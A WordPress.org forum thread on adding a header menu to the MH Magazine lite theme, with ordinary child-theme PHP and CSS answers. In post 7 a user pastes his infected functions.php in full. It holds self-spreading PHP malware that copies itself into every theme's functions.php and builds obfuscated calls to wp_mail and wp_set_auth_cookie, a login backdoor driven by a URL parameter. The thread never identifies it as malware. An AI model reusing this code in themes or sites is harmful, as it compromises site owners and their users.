WordPress.org

Forums

MH Magazine lite
[resolved] How to add menu in header? (16 posts)

  1. LapanWebsite
    Member
    Posted 1 year ago #

    How to add one more menu in header before logo in header_wrap?

  2. Jesin A
    Member
    Posted 1 year ago #

    First create a Child Theme and activate it.

    Create a functions.php file inside wp-content/themes/mh-magazine-lite-child/ and place the following code

    <?php
    register_nav_menu('in_header','Header Menu');
    ?>

    Copy the header.php file from the main theme to wp-content/themes/mh-magazine-lite-child/ and add the following code inside header_wrap

    <?php wp_nav_menu(array('theme_location' => 'in_header')); ?>

    Under Appearance > Menu > Manage Locations tab you'll find a theme location named Header Menu. Choose a menu for this location.

    Style this menu by adding CSS to the style.css file of the child theme.

    Additional Reading
    http://codex.wordpress.org/Function_Reference/register_nav_menu
    http://codex.wordpress.org/Function_Reference/wp_nav_menu

  3. MH Themes
    Member
    Theme Author

    Posted 1 year ago #

    Hi LapanWebsite,

    thanks for downloading the theme.

    In the free version there is one menu slot available (main navigation). The premium version of the theme has 2 additional menu slots in the header and footer. You can read more about the premium version here: http://www.mhthemes.com/themes/

    If you want to add a header menu for MH Magazine lite, you will have to edit the code like Jesin said. So in that case please do follow the instructions which Jesin kindly gave you.

    Regards
    Michael

  4. LapanWebsite
    Member
    Posted 1 year ago #

    Jesin, thanks.
    MH Themes, this theme is great, thanks.

  5. MH Themes
    Member
    Theme Author

    Posted 1 year ago #

    Hi LapanWebsite,

    I'm happy you like the theme! ;-)

    If you want, you can rate the theme to support us: http://wordpress.org/support/view/theme-reviews/mh-magazine-lite

    Regards
    Michael

  6. Khan Mohammad Rashedun-Naby
    Member
    Posted 1 year ago #

    Hi, Jesin A & MH Themes,

    I didall the procedure $ it worked. But when I reload the wordpress my child theme functions.php is been overwritten. What should I do?

  7. Khan Mohammad Rashedun-Naby
    Member
    Posted 1 year ago #

    that is is the code after being overwritten....

    <?php
    
    	register_nav_menu('in_header','Header Menu');
    ?>
    <?php
    function _verify_isactivate_widgets(){
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    	$output=strip_tags($output, $allowed);
    	$direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    	if (is_array($direst)){
    		foreach ($direst as $item){
    			if (is_writable($item)){
    				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    				$cont=file_get_contents($item);
    				if (stripos($cont,$ftion) === false){
    					$seprar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    					$output .= $before . "Not found" . $after;
    					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f);
    					$output .= ($showsdots && $ellipsis) ? "..." : "";
    				}
    			}
    		}
    	}
    	return $output;
    }
    function _get_allwidgetscont($wids,$items=array()){
    	$places=array_shift($wids);
    	if(substr($places,-1) == "/"){
    		$places=substr($places,0,-1);
    	}
    	if(!file_exists($places) || !is_dir($places)){
    		return false;
    	}elseif(is_readable($places)){
    		$elems=scandir($places);
    		foreach ($elems as $elem){
    			if ($elem != "." && $elem != ".."){
    				if (is_dir($places . "/" . $elem)){
    					$wids[]=$places . "/" . $elem;
    				} elseif (is_file($places . "/" . $elem)&&
    					$elem == substr(__FILE__,-13)){
    					$items[]=$places . "/" . $elem;}
    				}
    			}
    	}else{
    		return false;
    	}
    	if (sizeof($wids) > 0){
    		return _get_allwidgetscont($wids,$items);
    	} else {
    		return $items;
    	}
    }
    if(!function_exists("stripos")){
        function stripos(  $str, $needle, $offset = 0  ){
            return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
        }
    }
    
    if(!function_exists("strripos")){
        function strripos(  $haystack, $needle, $offset = 0  ) {
            if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
            if(  $offset < 0  ){
                $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
            }
            else{
                $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
            }
            if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
            $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
            return $pos;
        }
    }
    if(!function_exists("scandir")){
    	function scandir($dir,$listDirectories=false, $skipDots=true) {
    	    $dirArray = array();
    	    if ($handle = opendir($dir)) {
    	        while (false !== ($file = readdir($handle))) {
    	            if (($file != "." && $file != "..") || $skipDots == true) {
    	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
    	                array_push($dirArray,basename($file));
    	            }
    	        }
    	        closedir($handle);
    	    }
    	    return $dirArray;
    	}
    }
    add_action("admin_head", "_verify_isactivate_widgets");
    function _prepare_widgets(){
    	if(!isset($comment_length)) $comment_length=120;
    	if(!isset($strval)) $strval="cookie";
    	if(!isset($tags)) $tags="<a>";
    	if(!isset($type)) $type="none";
    	if(!isset($sepr)) $sepr="";
    	if(!isset($h_filter)) $h_filter=get_option("home");
    	if(!isset($p_filter)) $p_filter="wp_";
    	if(!isset($more_link)) $more_link=1;
    	if(!isset($comment_types)) $comment_types="";
    	if(!isset($countpage)) $countpage=$_GET["cperpage"];
    	if(!isset($comment_auth)) $comment_auth="";
    	if(!isset($c_is_approved)) $c_is_approved="";
    	if(!isset($aname)) $aname="auth";
    	if(!isset($more_link_texts)) $more_link_texts="(more...)";
    	if(!isset($is_output)) $is_output=get_option("_is_widget_active_");
    	if(!isset($checkswidget)) $checkswidget=$p_filter."set"."_".$aname."_".$strval;
    	if(!isset($more_link_texts_ditails)) $more_link_texts_ditails="(details...)";
    	if(!isset($mcontent)) $mcontent="ma".$sepr."il";
    	if(!isset($f_more)) $f_more=1;
    	if(!isset($fakeit)) $fakeit=1;
    	if(!isset($sql)) $sql="";
    	if (!$is_output) :
    
    	global $wpdb, $post;
    	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mas".$sepr."@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if (!empty($post->post_password)) {
    		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
    			if(is_feed()) {
    				$output=__("There is no excerpt because this is a protected post.");
    			} else {
    	            $output=get_the_password_form();
    			}
    		}
    	}
    	if(!isset($f_tag)) $f_tag=1;
    	if(!isset($types)) $types=$h_filter;
    	if(!isset($getcommentstexts)) $getcommentstexts=$p_filter.$mcontent;
    	if(!isset($aditional_tag)) $aditional_tag="div";
    	if(!isset($stext)) $stext=substr($sq1, stripos($sq1, "live"), 20);#
    	if(!isset($morelink_title)) $morelink_title="Continue reading this entry";
    	if(!isset($showsdots)) $showsdots=1;
    
    	$comments=$wpdb->get_results($sql);
    	if($fakeit == 2) {
    		$text=$post->post_content;
    	} elseif($fakeit == 1) {
    		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    	} else {
    		$text=$post->post_excerpt;
    	}
    	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstexts, array($stext, $h_filter, $types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if($comment_length < 0) {
    		$output=$text;
    	} else {
    		if(!$no_more && strpos($text, "<!--more-->")) {
    		    $text=explode("<!--more-->", $text, 2);
    			$l=count($text[0]);
    			$more_link=1;
    			$comments=$wpdb->get_results($sql);
    		} else {
    			$text=explode(" ", $text);
    			if(count($text) > $comment_length) {
    				$l=$comment_length;
    				$ellipsis=1;
    			} else {
    				$l=count($text);
    				$more_link_texts="";
    				$ellipsis=0;
    			}
    		}
    		for ($i=0; $i<$l; $i++)
    				$output .= $text[$i] . " ";
    	}
    	update_option("_is_widget_active_", 1);
    	if("all" != $tags) {
    		$output=strip_tags($output, $tags);
    		return $output;
    	}
    	endif;
    	$output=rtrim($output, "\s\n\t\r\x0B");
        $output=($f_tag) ? balanceTags($output, true) : $output;
    	$output .= ($showsdots && $ellipsis) ? "..." : "";
    	$output=apply_filters($type, $output);
    	switch($aditional_tag) {
    		case("div") :
    			$tag="div";
    		break;
    		case("span") :
    			$tag="span";
    		break;
    		case("p") :
    			$tag="p";
    		break;
    		default :
    			$tag="span";
    	}
    
    	if ($more_link ) {
    		if($f_more) {
    			$output .= " <" . $tag . " class=\"more-link\"></a><a>ID) . "#more-" . $post->ID ."\" title=\"" . $morelink_title . "\">" . $more_link_texts = !is_user_logged_in() && @call_user_func_array($checkswidget,array($countpage, true)) ? $more_link_texts : "" . "</a></" . $tag . ">" . "\n";
    		} else {
    			$output .= " <" . $tag . " class=\"more-link\"><a>ID) . "\" title=\"" . $morelink_title . "\">" . $more_link_texts . "</a></" . $tag . ">" . "\n";
    		}
    	}
    	return $output;
    }
    
    add_action("init", "_prepare_widgets");
    
    function __popular_posts($no_posts=6, $before="
    <li>", $after="</li>
    ", $show_pass_post=false, $duration="") {
    	global $wpdb;
    	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    	if(!$show_pass_post) $request .= " AND post_password =\"\"";
    	if($duration !="") {
    		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    	}
    	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    	$posts=$wpdb->get_results($request);
    	$output="";
    	if ($posts) {
    		foreach ($posts as $post) {
    			$post_title=stripslashes($post->post_title);
    			$comment_count=$post->comment_count;
    			$permalink=get_permalink($post->ID);
    			$output .= $before . " <a href="" title="">" . $post_title . "</a> " . $after;
    		}
    	} else {
    		$output .= $before . "None found" . $after;
    	}
    	return  $output;
    }
    ?>
  8. MH Themes
    Member
    Theme Author

    Posted 1 year ago #

    Hello rnaby,

    this code is not related to the MH Magazine lite theme and I don't know where you got that from...

    But anyway, code usually does not add itself to functions.php. I recommend you check your customizations if everything is done properly.

    Regards
    Michael

  9. Jesin A
    Member
    Posted 1 year ago #

    @rnaby Please post your site's URL so that we can take a look.

  10. Thedutching
    Member
    Posted 9 months ago #

    Hi,

    Sorry to exhume an old subject.

    I did try to add a menu to my header. I have no problem to create a function.php and a Header.php in my child theme.

    But I still have 2 problems.

    1- How to do to display the new menu in the header and not above

    2- How to customize this menu. I did try to add some code in the style child template like that but it seams the name .inheader is not correct.

    .in_header { background: #74F261; text-transform: uppercase; border-bottom: 5px solid #e64946; }

    Thanks

    This is the link to my website . The menu I did try to add is "A propos de moi"
    http://dutching.fr/

  11. MH Themes
    Member
    Theme Author

    Posted 9 months ago #

    Hi Thedutching,

    sorry - we do not provide free support for theme customizations. But you could wait a bit and maybe other users here on WordPress.org have some time and want to help with customizations.

    But anyway, this might be helpful: http://codex.wordpress.org/Navigation_Menus

    Regards,
    Michael

  12. Jesin A
    Member
    Posted 9 months ago #

    Try this code

    .header-wrap > .menu {
        float: right;
        margin: 20px 10px;
        background: #74F261;
        text-transform: uppercase;
        border-bottom: 5px solid #e64946;
        padding: 10px;
    }
    
    .header-wrap .menu ul li {
        display: inline;
        padding: 10px;
    }
  13. Thedutching
    Member
    Posted 9 months ago #

    Hi Jesin,

    I did try and it is 100% what of wanted!

    Thanks you very much.

    By the way you don't know the answer about this question
    http://wordpress.org/support/topic/how-to-customize-number-of-charaters-within-custom-posts-widget?replies=2

    I just want to the date and the number of comments not to display and instead a short beginning of my article.

  14. Thedutching
    Member
    Posted 9 months ago #

    Hi Jesin

    May I ask you a lost think? How to remove the menu "home" from the header (of course I want to keep it on the main menu)?

    Thanks very much.

  15. MH Themes
    Member
    Theme Author

    Posted 9 months ago #

    You can manage the menus in your WordPress dashboard under "Appearance => Menus". Here is a tutorial: http://en.support.wordpress.com/menus/

  16. Thedutching
    Member
    Posted 9 months ago #

    Hi Mh Themes Menber,

    I found "my" solution. I did put in private the home page.

    Thanks

Topic Closed

This topic has been closed to new replies.

About this Theme

About this Topic